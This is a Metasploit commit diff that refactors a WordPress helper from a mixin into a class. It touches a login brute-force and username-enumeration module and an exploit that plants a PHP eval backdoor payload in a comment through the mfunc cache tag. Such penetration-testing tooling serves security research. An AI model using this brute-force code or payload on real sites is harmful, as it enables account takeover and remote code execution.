wordpress is now a module, not a mixin
parent
0a2bf9e9e7
commit
009d8796f6
|
@ -0,0 +1,2 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'http/wordpress/wordpress_base'
|
|
@ -1,22 +1,19 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
module Msf
|
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# This module provides a way of interacting with wordpress installations
|
# This module provides a way of interacting with wordpress installations
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
module Exploit::Remote::Wordpress
|
|
||||||
include Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize(info = {})
|
module HTTP
|
||||||
super
|
class Wordpress
|
||||||
|
|
||||||
register_options(
|
# initializes a new Wordpress instance
|
||||||
[
|
#
|
||||||
OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
# @param client The Metasploit module instance
|
||||||
], Exploit::Remote::Wordpress
|
def initialize(client)
|
||||||
)
|
@client = client
|
||||||
end
|
end
|
||||||
|
|
||||||
# Checks if the site is online and running wordpress
|
# Checks if the site is online and running wordpress
|
||||||
|
@ -24,9 +21,9 @@ module Msf
|
||||||
# @return [Boolean] Returns true if the site is online and running wordpress
|
# @return [Boolean] Returns true if the site is online and running wordpress
|
||||||
def wordpress_and_online?
|
def wordpress_and_online?
|
||||||
begin
|
begin
|
||||||
res = send_request_cgi({
|
res = @client.send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri(target_uri)
|
'uri' => @client.normalize_uri(@client.target_uri)
|
||||||
}, 20)
|
}, 20)
|
||||||
if res and res.code == 200
|
if res and res.code == 200
|
||||||
if res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
if res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
||||||
|
@ -39,7 +36,7 @@ module Msf
|
||||||
end
|
end
|
||||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||||
print_error("Error connecting to #{target_uri}")
|
print_error("Error connecting to #{@client.target_uri}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -50,7 +47,7 @@ module Msf
|
||||||
#
|
#
|
||||||
# @return [String] Wordpress Login URL
|
# @return [String] Wordpress Login URL
|
||||||
def wordpress_uri_login
|
def wordpress_uri_login
|
||||||
normalize_uri(target_uri.path, 'wp-login.php')
|
@client.normalize_uri(@client.target_uri.path, 'wp-login.php')
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns the Wordpress Post URL
|
# Returns the Wordpress Post URL
|
||||||
|
@ -58,7 +55,7 @@ module Msf
|
||||||
# @param post_id Post ID
|
# @param post_id Post ID
|
||||||
# @return [String] Wordpress Post URL
|
# @return [String] Wordpress Post URL
|
||||||
def wordpress_url_post(post_id)
|
def wordpress_url_post(post_id)
|
||||||
normalize_uri(target_uri.path) + "/?p=#{post_id}"
|
@client.normalize_uri(@client.target_uri.path) + "/?p=#{post_id}"
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns the Wordpress Author URL
|
# Returns the Wordpress Author URL
|
||||||
|
@ -66,7 +63,7 @@ module Msf
|
||||||
# @param author_id Author ID
|
# @param author_id Author ID
|
||||||
# @return [String] Wordpress Author URL
|
# @return [String] Wordpress Author URL
|
||||||
def wordpress_url_author(author_id)
|
def wordpress_url_author(author_id)
|
||||||
normalize_uri(target_uri.path) + "/?author=#{author_id}"
|
@client.normalize_uri(@client.target_uri.path) + "/?author=#{author_id}"
|
||||||
end
|
end
|
||||||
|
|
||||||
# performs a wordpress login
|
# performs a wordpress login
|
||||||
|
@ -75,8 +72,8 @@ module Msf
|
||||||
# @param pass Password
|
# @param pass Password
|
||||||
# @return [String] the session cookie on successful login, nil otherwise
|
# @return [String] the session cookie on successful login, nil otherwise
|
||||||
def wordpress_login(user, pass)
|
def wordpress_login(user, pass)
|
||||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
redirect = "#{@client.target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||||
res = send_request_cgi({
|
res = @client.send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => wordpress_uri_login,
|
'uri' => wordpress_uri_login,
|
||||||
'data' => wordpress_helper_login_post_data(user, pass, redirect),
|
'data' => wordpress_helper_login_post_data(user, pass, redirect),
|
||||||
|
@ -97,7 +94,7 @@ module Msf
|
||||||
# @param user Username
|
# @param user Username
|
||||||
# @return [Boolean] true if the user exists
|
# @return [Boolean] true if the user exists
|
||||||
def wordpress_user_exists?(user)
|
def wordpress_user_exists?(user)
|
||||||
res = send_request_cgi({
|
res = @client.send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => wordpress_uri_login,
|
'uri' => wordpress_uri_login,
|
||||||
'data' => wordpress_helper_login_post_data(user, 'x'),
|
'data' => wordpress_helper_login_post_data(user, 'x'),
|
||||||
|
@ -121,7 +118,7 @@ module Msf
|
||||||
# @return [String] the Username if it exists, nil otherwise
|
# @return [String] the Username if it exists, nil otherwise
|
||||||
def wordpress_userid_exists?(user_id)
|
def wordpress_userid_exists?(user_id)
|
||||||
url = wordpress_url_author(user_id)
|
url = wordpress_url_author(user_id)
|
||||||
res = send_request_cgi({
|
res = @client.send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => url
|
'uri' => url
|
||||||
})
|
})
|
||||||
|
@ -133,14 +130,14 @@ module Msf
|
||||||
return $1
|
return $1
|
||||||
end
|
end
|
||||||
uri = "#{uri.path}?#{uri.query}"
|
uri = "#{uri.path}?#{uri.query}"
|
||||||
res = send_request_cgi({
|
res = @client.send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => uri
|
'uri' => uri
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
if res.nil?
|
if res.nil?
|
||||||
print_error("#{target_uri} - Error getting response.")
|
print_error("#{@client.target_uri} - Error getting response.")
|
||||||
elsif res.code == 200 and
|
elsif res.code == 200 and
|
||||||
(res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or
|
(res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or
|
||||||
res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i)
|
res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i)
|
||||||
|
@ -235,12 +232,12 @@ module Msf
|
||||||
}) unless login_cookie
|
}) unless login_cookie
|
||||||
|
|
||||||
options = {
|
options = {
|
||||||
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
|
'uri' => @client.normalize_uri(@client.target_uri.path, 'wp-comments-post.php'),
|
||||||
'method' => 'POST'
|
'method' => 'POST'
|
||||||
}
|
}
|
||||||
options.merge!({'vars_post' => vars_post})
|
options.merge!({'vars_post' => vars_post})
|
||||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||||
res = send_request_cgi(options)
|
res = @client.send_request_cgi(options)
|
||||||
if res and res.code == 302
|
if res and res.code == 302
|
||||||
location = URI(res.headers['Location'])
|
location = URI(res.headers['Location'])
|
||||||
return location
|
return location
|
||||||
|
@ -276,7 +273,7 @@ module Msf
|
||||||
'uri' => uri
|
'uri' => uri
|
||||||
}
|
}
|
||||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||||
res = send_request_cgi(options)
|
res = @client.send_request_cgi(options)
|
||||||
# post exists
|
# post exists
|
||||||
if res and res.code == 200
|
if res and res.code == 200
|
||||||
# also check if comments are enabled
|
# also check if comments are enabled
|
|
@ -95,4 +95,3 @@ require 'msf/core/exploit/winrm'
|
||||||
|
|
||||||
# WebApp
|
# WebApp
|
||||||
require 'msf/core/exploit/web'
|
require 'msf/core/exploit/web'
|
||||||
require 'msf/core/exploit/wordpress'
|
|
||||||
|
|
|
@ -5,9 +5,10 @@
|
||||||
# http://metasploit.com/
|
# http://metasploit.com/
|
||||||
##
|
##
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
require 'http/wordpress'
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Wordpress
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Auxiliary::AuthBrute
|
include Msf::Auxiliary::AuthBrute
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
|
@ -35,6 +36,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||||
OptBool.new('VALIDATE_USERS', [ true, 'Validate usernames', true ]),
|
OptBool.new('VALIDATE_USERS', [ true, 'Validate usernames', true ]),
|
||||||
OptBool.new('BRUTEFORCE', [ true, 'Perform brute force authentication', true ]),
|
OptBool.new('BRUTEFORCE', [ true, 'Perform brute force authentication', true ]),
|
||||||
OptBool.new('ENUMERATE_USERNAMES', [ true, 'Enumerate usernames', true ]),
|
OptBool.new('ENUMERATE_USERNAMES', [ true, 'Enumerate usernames', true ]),
|
||||||
|
@ -45,8 +47,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
@wordpress = HTTP::Wordpress.new(self)
|
||||||
|
|
||||||
unless wordpress_and_online?
|
unless @wordpress.wordpress_and_online?
|
||||||
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
|
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -102,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def do_enum(user=nil)
|
def do_enum(user=nil)
|
||||||
print_status("#{target_uri} - WordPress Enumeration - Checking Username:'#{user}'")
|
print_status("#{target_uri} - WordPress Enumeration - Checking Username:'#{user}'")
|
||||||
|
|
||||||
exists = wordpress_user_exists?(user)
|
exists = @wordpress.wordpress_user_exists?(user)
|
||||||
if exists
|
if exists
|
||||||
print_good("#{target_uri} - WordPress Enumeration- Username: '#{user}' - is VALID")
|
print_good("#{target_uri} - WordPress Enumeration- Username: '#{user}' - is VALID")
|
||||||
report_auth_info(
|
report_auth_info(
|
||||||
|
@ -125,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def do_login(user=nil, pass=nil)
|
def do_login(user=nil, pass=nil)
|
||||||
vprint_status("#{target_uri} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
|
vprint_status("#{target_uri} - WordPress Brute Force - Trying username:'#{user}' with password:'#{pass}'")
|
||||||
|
|
||||||
cookie = wordpress_login(user, pass)
|
cookie = @wordpress.wordpress_login(user, pass)
|
||||||
|
|
||||||
if cookie
|
if cookie
|
||||||
print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
|
print_good("#{target_uri} - WordPress Brute Force - SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||||
|
@ -148,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
def enum_usernames
|
def enum_usernames
|
||||||
usernames = []
|
usernames = []
|
||||||
for i in datastore['RANGE_START']..datastore['RANGE_END']
|
for i in datastore['RANGE_START']..datastore['RANGE_END']
|
||||||
username = wordpress_userid_exists?(i)
|
username = @wordpress.wordpress_userid_exists?(i)
|
||||||
if username
|
if username
|
||||||
print_good "#{target_uri} - Found user '#{username}' with id #{i.to_s}"
|
print_good "#{target_uri} - Found user '#{username}' with id #{i.to_s}"
|
||||||
usernames << username
|
usernames << username
|
||||||
|
|
|
@ -5,12 +5,12 @@
|
||||||
# http://metasploit.com/
|
# http://metasploit.com/
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'http/wordpress'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Wordpress
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -57,6 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||||
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
|
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
|
||||||
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
|
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
|
||||||
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
|
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
|
||||||
|
@ -82,9 +83,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
|
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
|
||||||
|
|
||||||
if @auth
|
if @auth
|
||||||
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
|
uri = @wordpress.wordpress_post_comment_auth(php_payload, @post_id, @cookie)
|
||||||
else
|
else
|
||||||
uri = wordpress_post_comment_no_auth(php_payload,
|
uri = @wordpress.wordpress_post_comment_no_auth(php_payload,
|
||||||
@post_id,
|
@post_id,
|
||||||
rand_text_alpha(8),
|
rand_text_alpha(8),
|
||||||
"#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
|
"#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
|
||||||
|
@ -95,8 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
@wordpress = HTTP::Wordpress.new(self)
|
||||||
|
|
||||||
unless wordpress_and_online?
|
unless @wordpress.wordpress_and_online?
|
||||||
fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site")
|
fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -104,7 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if @auth
|
if @auth
|
||||||
print_status("#{peer} - Trying to login...")
|
print_status("#{peer} - Trying to login...")
|
||||||
@cookie = wordpress_login(@user, @password)
|
@cookie = @wordpress.wordpress_login(@user, @password)
|
||||||
if @cookie.nil?
|
if @cookie.nil?
|
||||||
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
|
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
|
||||||
end
|
end
|
||||||
|
@ -117,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
||||||
else
|
else
|
||||||
print_status("#{peer} - Trying to brute force a valid POST ID...")
|
print_status("#{peer} - Trying to brute force a valid POST ID...")
|
||||||
@post_id = wordpress_get_valid_post_id_with_comments_enabled
|
@post_id = @wordpress.wordpress_get_valid_post_id_with_comments_enabled
|
||||||
if @post_id.nil?
|
if @post_id.nil?
|
||||||
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
||||||
else
|
else
|
||||||
|
@ -151,7 +153,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
unless wordpress_and_online?
|
@wordpress = HTTP::Wordpress.new(self)
|
||||||
|
|
||||||
|
unless @wordpress.wordpress_and_online?
|
||||||
print_error("#{peer} does not seeem to be Wordpress site")
|
print_error("#{peer} does not seeem to be Wordpress site")
|
||||||
return Exploit::CheckCode::Unknown
|
return Exploit::CheckCode::Unknown
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue